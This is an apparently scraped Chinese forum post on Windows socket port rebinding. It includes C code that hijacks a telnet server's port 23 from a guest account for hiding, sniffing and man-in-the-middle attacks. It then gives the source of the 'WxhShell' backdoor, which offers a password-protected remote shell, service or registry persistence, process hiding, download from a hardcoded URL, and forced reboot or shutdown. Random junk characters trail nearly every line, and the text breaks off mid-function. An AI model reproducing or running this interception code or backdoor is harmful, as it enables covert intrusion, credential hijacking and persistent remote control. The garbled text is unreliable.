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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =I$:-[(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g:>dF#  
K14{c1  
  saddr.sin_family = AF_INET; 602=qb  
5?TjuGc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kCKCJ }N  
v8THJf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UmCIjwk  
6w0r)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~gEd (  
)7F$:*e  
  这意味着什么?意味着可以进行如下的攻击: s=XqI@  
mTa^At"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V/8yW3]Xy  
<h~_7Dn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "'c =(P  
6o GF6C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g1q%b%8T  
rgu7g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n{E + r  
jAD{?/RB}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f q*V76F  
'L6+B1Op  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PLWx'N-kqL  
&&n-$WEl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j2:A@ a6  
i^/D_L.  
  #include zQx7qx  
  #include }}v28"\TA  
  #include g@S?5S.Av  
  #include    cs)z!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h{Y#. j~aS  
  int main() I\VC2U  
  { T(bFn?  
  WORD wVersionRequested; I=V]_Ik4 N  
  DWORD ret; RTYhgq  
  WSADATA wsaData; x;/%`gKn8  
  BOOL val; r)Iq47Uiw  
  SOCKADDR_IN saddr; ?E7.x%n7X5  
  SOCKADDR_IN scaddr; Z9lfd6MU,  
  int err; OSCeTkR  
  SOCKET s; MtK5>mhZI`  
  SOCKET sc; ;gW?Fnry;  
  int caddsize; nB , &m&  
  HANDLE mt; JZ0u/x5  
  DWORD tid;   9/50+2F  
  wVersionRequested = MAKEWORD( 2, 2 ); (2%z9W  
  err = WSAStartup( wVersionRequested, &wsaData ); 86f/R c  
  if ( err != 0 ) { yl~h `b4  
  printf("error!WSAStartup failed!\n"); $g)X,iQu  
  return -1; M{~KT3c  
  } a.g:yWL\  
  saddr.sin_family = AF_INET; b~m|mb$  
   q0QB[)AP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J+8T Ie  
(~n0,$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @c{b\is2  
  saddr.sin_port = htons(23); o*|j}hnbv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Gm/9@oKc  
  { ,46k8%WW  
  printf("error!socket failed!\n"); }Z\PE0  
  return -1; 0Bhf(5  
  } Q u@T}Ci  
  val = TRUE; W RVm^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ( cqVCys  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $F86Dwd  
  { 5J<ghv>\P  
  printf("error!setsockopt failed!\n"); S%m$LM]NCg  
  return -1; @C6.~OiP  
  } :w 4Sba3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +0WI;M4i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s:#\U!>0`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /CN`U7:E  
OO+QH 2j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )}jXC4  
  { G2}e@L0  
  ret=GetLastError(); +eD+Z.{  
  printf("error!bind failed!\n"); ) %&~CW+  
  return -1; xA2 "i2k9  
  } ,_2ZKO/k$  
  listen(s,2); ;-X5#  
  while(1) + %07J6  
  { m339Y2%=  
  caddsize = sizeof(scaddr); -V)DKf"f  
  //接受连接请求 -:o4|&g<*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P ||:?3IH  
  if(sc!=INVALID_SOCKET) KPSHBv-#  
  { ];1Mg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m`Ver:{  
  if(mt==NULL) 8z h{?0  
  { m dTCe HX  
  printf("Thread Creat Failed!\n"); vMV}M%~  
  break; 2bk~6Osp  
  } Grw|8xN0t  
  } 6S# e?>"+  
  CloseHandle(mt); >HY( Ij<  
  } -(]s!,  
  closesocket(s); rt[w yz8  
  WSACleanup(); %^$7z,>;  
  return 0; %0!!998  
  }   td#B$$[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9vZD?6D,n  
  { N8^ AH8l  
  SOCKET ss = (SOCKET)lpParam; >ps=z$4j*  
  SOCKET sc; Qs5^kddz=  
  unsigned char buf[4096]; Q5H! ^RQm  
  SOCKADDR_IN saddr;  iFy_ D  
  long num; /!mF,oR!  
  DWORD val; 8=U0\<wT  
  DWORD ret; a.yCd/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :_FnQhzg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %`[Oz[V  
  saddr.sin_family = AF_INET; KK%R3{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;L458fYs  
  saddr.sin_port = htons(23); T!*lTzNHm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "ebm3t@C  
  { Nf<mgOAT1  
  printf("error!socket failed!\n"); ?(4E le  
  return -1; U\ Et  
  } xQ=sZv^M  
  val = 100; |99/?T-QW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eZMDtB  
  { V6C*d:  
  ret = GetLastError(); [Grd?mc#  
  return -1; %|:Gn)8  
  } +I {ZW}rA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D 1Q@4  g  
  { TUQ+?[  
  ret = GetLastError(); ,MxTT!9Su  
  return -1; NM;0@ o  
  } ;ctJ9"_g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5QjM,"`mp  
  { ST#MCh-00  
  printf("error!socket connect failed!\n"); + S^OzCGk  
  closesocket(sc); 0 xUw}T6  
  closesocket(ss); O#g'4 S  
  return -1; U$fh ~w<[  
  } q`l%NE  
  while(1) M6 W {mek  
  { \L"Vx9xT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +$-@8,F>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  0#AS>K5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F?wfh7q  
  num = recv(ss,buf,4096,0); /7 CF f&4  
  if(num>0) d@a FW  
  send(sc,buf,num,0); *,:>EcDr  
  else if(num==0) q*|H*sS  
  break; Sd !!1a s  
  num = recv(sc,buf,4096,0); XvU^DEfW  
  if(num>0) PtUea  
  send(ss,buf,num,0); `5V=U9zdE  
  else if(num==0) McRAy%{z  
  break; 8T7E.guYr  
  } .K=r.tf~  
  closesocket(ss); ?+]prbt)  
  closesocket(sc); 3~I|KF7x  
  return 0 ; LX [_6  
  } \{HbL,s  
rff=ud>Jf  
QxSJLi7t  
========================================================== h~]G6>D9)>  
OO Hw-MW  
下边附上一个代码,,WXhSHELL #E?TE  
e'FBV[e  
========================================================== "B~c/%#PH  
ET_a>]<mv  
#include "stdafx.h" ] rP^  
N:j,9p0,  
#include <stdio.h> HH-A\#6J  
#include <string.h> .$r=:k_d  
#include <windows.h> ! z^%$;p  
#include <winsock2.h> vdn`PS'#  
#include <winsvc.h> qgT~yDm  
#include <urlmon.h> CEwMPPYnD  
FUVoKX! #  
#pragma comment (lib, "Ws2_32.lib") |a3v!va  
#pragma comment (lib, "urlmon.lib")  `UC  
-|ho 8alF  
#define MAX_USER   100 // 最大客户端连接数 cmLGMlFT  
#define BUF_SOCK   200 // sock buffer .l| [e  
#define KEY_BUFF   255 // 输入 buffer 66P'87G  
r\OunGUP  
#define REBOOT     0   // 重启 WIe7>wkC  
#define SHUTDOWN   1   // 关机 cBZK t  
n9 LTrhLqp  
#define DEF_PORT   5000 // 监听端口 x)Y?kVw21"  
iP7 Cku}l  
#define REG_LEN     16   // 注册表键长度 5s=ZA*(sY  
#define SVC_LEN     80   // NT服务名长度 @H{QHi  
NUlp4i~Q  
// 从dll定义API [Eeanl&x>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ewo]-BQS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i++a^f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $pV:)N4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L}E~CiL0n  
2 L>;M  
// wxhshell配置信息 WR&>AOWAD  
struct WSCFG { F/ZB%;O9  
  int ws_port;         // 监听端口 _JVFn=  
  char ws_passstr[REG_LEN]; // 口令 zn,y'},  
  int ws_autoins;       // 安装标记, 1=yes 0=no y /$Q5P+o  
  char ws_regname[REG_LEN]; // 注册表键名 g*]hmkYe9  
  char ws_svcname[REG_LEN]; // 服务名 {|KFgQ'\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [y(DtOR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -8HK_eQn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Dl a }-A:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #\|Ac*>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6x'F0{U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p?uk|C2  
BBV"nm_(/  
}; Ic 5TtN~/>  
!2.(iuE  
// default Wxhshell configuration mH1T|UI  
struct WSCFG wscfg={DEF_PORT, N\,[(LbA&  
    "xuhuanlingzhe", P3 Wnso  
    1, : 3J0Q  
    "Wxhshell", L701j.7"  
    "Wxhshell", 50s1o{xwc  
            "WxhShell Service", v qt#JdPp9  
    "Wrsky Windows CmdShell Service", 'n:|D7t  
    "Please Input Your Password: ", Vu0d\l^$  
  1, jR1o<]?  
  "http://www.wrsky.com/wxhshell.exe", J0ys Z]  
  "Wxhshell.exe" Q9yIQ{>H[  
    }; @ 0'j;")XV  
syJLcK+e  
// 消息定义模块 ?*)Q[P5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e(=() :4is  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]C;X/8'Jf5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x%v[(*F#y  
char *msg_ws_ext="\n\rExit."; e3 #0r  
char *msg_ws_end="\n\rQuit."; H[S}&l\D4  
char *msg_ws_boot="\n\rReboot..."; ,QeJ;U  
char *msg_ws_poff="\n\rShutdown..."; ~'9\y"N1  
char *msg_ws_down="\n\rSave to ";  uc<JF=  
5@lVuMIYT  
char *msg_ws_err="\n\rErr!"; _%@dlT?  
char *msg_ws_ok="\n\rOK!"; AV>_ bw.  
){nOM$W  
char ExeFile[MAX_PATH]; P<%}!Y  
int nUser = 0; W\c1QY$E  
HANDLE handles[MAX_USER]; fT2F$U  
int OsIsNt; \,AE5hnO  
YE*%Y["  
SERVICE_STATUS       serviceStatus; HBdZE7.x)3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CN{xh=2qY[  
pjN4)y>0  
// 函数声明 >\7M f@c  
int Install(void); 22T\ -g{  
int Uninstall(void); h-f`as"d  
int DownloadFile(char *sURL, SOCKET wsh); b8 ^O"oDrp  
int Boot(int flag); C09rgEB\B  
void HideProc(void); {;L,|(o^  
int GetOsVer(void); ^ Fnag]qQ  
int Wxhshell(SOCKET wsl); k-Z :z?M  
void TalkWithClient(void *cs); f7SMO-3a  
int CmdShell(SOCKET sock); e7Sp?>-d  
int StartFromService(void); "5!T-Z+F  
int StartWxhshell(LPSTR lpCmdLine); \{a!Z&df  
Ol sX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O#do\:(b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [  *~2Ts  
;e"dxAUe!^  
// 数据结构和表定义 Tc.QzD\  
SERVICE_TABLE_ENTRY DispatchTable[] = 0H +!v  
{ :#VdFMC<  
{wscfg.ws_svcname, NTServiceMain}, >T#" Im-  
{NULL, NULL} .6=;{h4cpB  
}; 0clq}  
Hl#?#A5  
// 自我安装 T,oZaJ<  
int Install(void) *mJ\Tzc)  
{ dq{+-XaEk  
  char svExeFile[MAX_PATH]; 7>E>`Nc6  
  HKEY key; GGs7]mhA  
  strcpy(svExeFile,ExeFile); Z[9t?ePL  
j"A<qI  
// 如果是win9x系统,修改注册表设为自启动 rJT YCe1*  
if(!OsIsNt) { bZ>dr{%%e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T)I\?hqTB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2lCgUe)N  
  RegCloseKey(key); 1I awi?73  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cy(4g-b]@e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <])]1r8  
  RegCloseKey(key); |vw],r6  
  return 0; =.qX u+  
    } X<D fzd oI  
  } 8wrO64_NO  
} Bp_8PjQ  
else { rEMe=>^   
&P,uK+C4  
// 如果是NT以上系统,安装为系统服务 ' Tk4P{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /iEQ}  
if (schSCManager!=0) iR!]&Oh  
{ hD[r6c  
  SC_HANDLE schService = CreateService AHo}K\O?r  
  ( M>Q3;s  
  schSCManager, zsLMROo3  
  wscfg.ws_svcname, 9X&=?+f  
  wscfg.ws_svcdisp, kWacc&*|  
  SERVICE_ALL_ACCESS, Q;s {M{u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]8htL#C  
  SERVICE_AUTO_START, kTcW=AXu  
  SERVICE_ERROR_NORMAL, lWn}afI  
  svExeFile, 6V"u ovN2  
  NULL, T/.UMw  
  NULL, O ^!Bc}$  
  NULL,  "D'rsEh  
  NULL, ~.4y* &  
  NULL &lgzNC9g%  
  ); ~Zn|(  
  if (schService!=0) AmZW=n2^  
  { {;|pcx\L6~  
  CloseServiceHandle(schService); 8`wKq6  
  CloseServiceHandle(schSCManager); WD_{bd)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UpPl-jeT  
  strcat(svExeFile,wscfg.ws_svcname); ZWni5uF-c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f62rm[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l^^Z}3^Rk  
  RegCloseKey(key); 5UJ ?1"J  
  return 0; m] yUcj{F  
    }  .^2.h  
  } ZXN`8!]&  
  CloseServiceHandle(schSCManager); `-e9#diQe  
} %{7*o5`  
} P3IBi_YyG1  
kl[(!"p  
return 1; !RPE-S  
} Vc;g$Xr[  
_^eiN'B  
// 自我卸载 -\USDi(  
int Uninstall(void)  "UreV  
{ Ke:WlDf  
  HKEY key; 5 1N/XEk  
0y t36Du  
if(!OsIsNt) { omGzyuPF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qv`: E   
  RegDeleteValue(key,wscfg.ws_regname); S?6 -I,]h  
  RegCloseKey(key); s)fahc(@E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q@W!6]*\  
  RegDeleteValue(key,wscfg.ws_regname); ?0M$p  
  RegCloseKey(key); cIQbu#[@  
  return 0; 8AuE:=?,,  
  } MGq\\hLD\-  
} i=*H|)  
} Sa%%3_&  
else { # S/n3  
_!VtM#G[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~-[!>1!%  
if (schSCManager!=0) 5Po:$(  
{ +$#<gp"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nW^h +   
  if (schService!=0) tcnO`0moK  
  { gaxM#  
  if(DeleteService(schService)!=0) { A'rd1"K  
  CloseServiceHandle(schService); O$;#GpR  
  CloseServiceHandle(schSCManager); `d^Q!QxE  
  return 0; |5%T)  
  } by0K:*C  
  CloseServiceHandle(schService); x`FTy&g  
  } + kT ]qH  
  CloseServiceHandle(schSCManager); pdR\Ne0P*  
} G[JWG  
} .>#O'Z&q9  
MU sF  
return 1; z?Ok'LX  
} 71%$&6  
PVH Or^  
// 从指定url下载文件 tc/  
int DownloadFile(char *sURL, SOCKET wsh) j{r@>g;3  
{ m< )`@6a/  
  HRESULT hr; cfilH"EK  
char seps[]= "/"; :hs~;vn)  
char *token; U]gUGD!5x  
char *file; 7M4J{}9  
char myURL[MAX_PATH]; 9PA<g3z  
char myFILE[MAX_PATH]; akNqSZwj  
r180vbN$  
strcpy(myURL,sURL); L%(NXSfu7  
  token=strtok(myURL,seps); Pzq^x]  
  while(token!=NULL) 9Q}g Vqn  
  { I<CrEL<5}~  
    file=token; qPD(D{,f$  
  token=strtok(NULL,seps); qbD 7\%  
  } yyljyE  
A.("jb@I  
GetCurrentDirectory(MAX_PATH,myFILE); \eNB L[  
strcat(myFILE, "\\"); w&p(/y  
strcat(myFILE, file); - z+,j(@  
  send(wsh,myFILE,strlen(myFILE),0); +B1&bOb  
send(wsh,"...",3,0); d4BzFGsW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %Z<{CV  
  if(hr==S_OK) Q&vdBO/  
return 0; ~G@YA8}  
else ha$1vi}b  
return 1; 65dMv*{  
d,^ZH  
} RZV6;=/  
*E/ Mf  
// 系统电源模块 ~WTkX(\  
int Boot(int flag) &K60n6q{aQ  
{ _qf39fM;\  
  HANDLE hToken; /q\e&&e  
  TOKEN_PRIVILEGES tkp; ~a[ /l  
bA,Zfsr6#  
  if(OsIsNt) { mi<Q3;m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X*@ tp,t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o ?vGI=  
    tkp.PrivilegeCount = 1; 3p&T?E%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nOL.%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r9&m^,U  
if(flag==REBOOT) { yD7}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kMurNA=  
  return 0; O 7 aLW  
} V=*^C+6s  
else { P'OvwA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (1[59<cg]  
  return 0; 96<oX:#  
} t!3N|`x  
  } u-,}ug|  
  else { lTqlQ<`V  
if(flag==REBOOT) { DbH;DcV7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eIalcBY  
  return 0; /Yp#`}Ii  
} lP`BKc,  
else { <C&|8@A0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O7VEyQqf5  
  return 0; F""9O6u  
} $~.YB\3  
} KH;~VR8"/  
O6G'!h\F  
return 1; 9;U?_   
} t kj  
Y /_CPY  
// win9x进程隐藏模块 LZe)_9$  
void HideProc(void) 3r kcIVO  
{ sd\p[MXX  
q/U-6A[0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jW`JThoq  
  if ( hKernel != NULL ) Cn3 _D  
  {  SW#/;|m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f; |fS~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zZCRej  
    FreeLibrary(hKernel); {IV% _y?  
  } i>YQ<A1  
R>"Fc/{y  
return; s/IsrcfM  
} $!.>)n  
'^_u5Y]  
// 获取操作系统版本 7:u+cv  
int GetOsVer(void) hOAZvrfQ4  
{ ALTOi?  
  OSVERSIONINFO winfo; +_i{4Iz~p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N~O3KG q  
  GetVersionEx(&winfo); dn- [Gnde  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W[O]Aal{  
  return 1; ^-~JkW'z  
  else ? x #K:a?  
  return 0; ~< bpdI0  
} H\ejW@< ;h  
mfQ#n!{ZH  
// 客户端句柄模块 vNGE]+QX  
int Wxhshell(SOCKET wsl) !Rl|o^Vw>{  
{ D:/ n2_  
  SOCKET wsh; gfg,V.:  
  struct sockaddr_in client; fx_#3=bXi  
  DWORD myID; ,\\ba_*z  
~Xxmj!nOf  
  while(nUser<MAX_USER) #%p44%W  
{ c,2& -T}  
  int nSize=sizeof(client); Lkm-<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tf~B,?  
  if(wsh==INVALID_SOCKET) return 1; 1z-.e$&z  
o?Hfxp0}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +;q\7*  
if(handles[nUser]==0) Res U5Ce~  
  closesocket(wsh); _ Ncbo#G  
else sh$-}1 ;  
  nUser++; H>EM3cFU  
  } TBBnsj6e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SU~a()"  
INi$-Y+  
  return 0; yQ[;y~W  
} 46A sD  
Sr aZxuPg>  
// 关闭 socket qLDj\%~(  
void CloseIt(SOCKET wsh) elCYH9W^  
{ !'jq.RawP  
closesocket(wsh); ^U_T<x8{  
nUser--; !,[#,oy;  
ExitThread(0); yXR1 NYg  
} `Y?VQ~ci>  
K.)!qkW-%S  
// 客户端请求句柄 n(F!t,S1i  
void TalkWithClient(void *cs) r.H`3m.0q  
{ )r9 9zdUk  
!uEEuD#  
  SOCKET wsh=(SOCKET)cs; BY6#dlDi  
  char pwd[SVC_LEN]; o{s2T)2  
  char cmd[KEY_BUFF]; ,5n!a.T  
char chr[1]; } GB~3 J  
int i,j; jfxNV2[  
wX"hUu  
  while (nUser < MAX_USER) { 6ZQ |L=Ytp  
G68KoM  
if(wscfg.ws_passstr) { EMmgX*iu@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7s|'NTp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dEoIVy_9R  
  //ZeroMemory(pwd,KEY_BUFF); c|Ivet>3  
      i=0; nj[TTnd Jt  
  while(i<SVC_LEN) { `>:5[Y  
;}46Uc#WS  
  // 设置超时 +94)BxrY  
  fd_set FdRead; &bsq;)wzs  
  struct timeval TimeOut; +lym8n~-O  
  FD_ZERO(&FdRead); +vh|m5"7I7  
  FD_SET(wsh,&FdRead); XNYA\%:5S  
  TimeOut.tv_sec=8; ;>J!$B?,  
  TimeOut.tv_usec=0; T+0=Ou"N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ob.<j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bs~~C8+  
n1f8jS+'}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]" 'yf;g  
  pwd=chr[0]; @Po5AK3cy  
  if(chr[0]==0xd || chr[0]==0xa) { iE~!?N|a3  
  pwd=0; g&Vhu8kNIA  
  break; }Ce9R2  
  } gmL~n7m:K  
  i++; hw DxGiU  
    } fq7#rZCxX  
"Oxr}^% i  
  // 如果是非法用户,关闭 socket INg0[Lpc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uBm"Xkxe|w  
} ;,4*uU'vq  
}%< ?]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D p'urf\*$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uC'-: t#  
Ln& pe(c  
while(1) { ;s B=f  
Th)  
  ZeroMemory(cmd,KEY_BUFF); 5 D|#l*V  
DSrU7#  
      // 自动支持客户端 telnet标准   Q dj(D\.  
  j=0; wNf:_^|}  
  while(j<KEY_BUFF) { UUt"8]@[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yZleots1  
  cmd[j]=chr[0]; e=sc$1|4=  
  if(chr[0]==0xa || chr[0]==0xd) { mxv ?PP  
  cmd[j]=0; `0d 0T~  
  break; jl,gqMn"V  
  } / ;`H )  
  j++; E)v~kC}7.  
    } noZbsI4  
K.Xy:l*z  
  // 下载文件 h3MdQlJ&  
  if(strstr(cmd,"http://")) { :@L7RZ`_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 72<9xNcB!}  
  if(DownloadFile(cmd,wsh)) x5lVb$!G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fy=GU<&AI  
  else 3q]0gU&??  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VE\L&d2S  
  } m eF7[>!U  
  else { */aY $aWv  
.n 9.y8C  
    switch(cmd[0]) { V._-iw]v  
  9 [eiN  
  // 帮助 bxXpw&  
  case '?': { GkAd"<B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -X.#Y6(  
    break; ~;"eNg{ T  
  } (}A$4?  
  // 安装 ,1]UOQ>AP  
  case 'i': { '}OdF*L  
    if(Install()) X5)D[aE6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 529; _|  
    else K; #FU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m<gdyY   
    break; }+,Q&]>~  
    } 1c$pz:$vX  
  // 卸载 j=0kxvp  
  case 'r': { l)u%`Hcn  
    if(Uninstall()) |IAx!Z-P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ndSu-8?L  
    else E>fY,*0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nW=6nCyvo  
    break; x;mw?B[  
    } 9{pT)(Wnb  
  // 显示 wxhshell 所在路径 8lF9LZ8  
  case 'p': { }QE.|.fA1  
    char svExeFile[MAX_PATH]; ;}B=g/C  
    strcpy(svExeFile,"\n\r"); m$8siF{<q  
      strcat(svExeFile,ExeFile); # qd!_oN  
        send(wsh,svExeFile,strlen(svExeFile),0); >tg)F|@  
    break; Ws2q/[\oz  
    } m#+0m!  
  // 重启 0#|Jhmv-zL  
  case 'b': { Q2fxsa[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8eT#- 9q@  
    if(Boot(REBOOT)) B:zx 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rz|T2K  
    else { %`C e#b()'  
    closesocket(wsh); !)M}(I}  
    ExitThread(0); pMU\f  
    } htB2?%S=T  
    break; 2CC"Z  
    } rJ /HIda  
  // 关机 |!oC7!+0^  
  case 'd': { m[%356u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <"Y>|X  
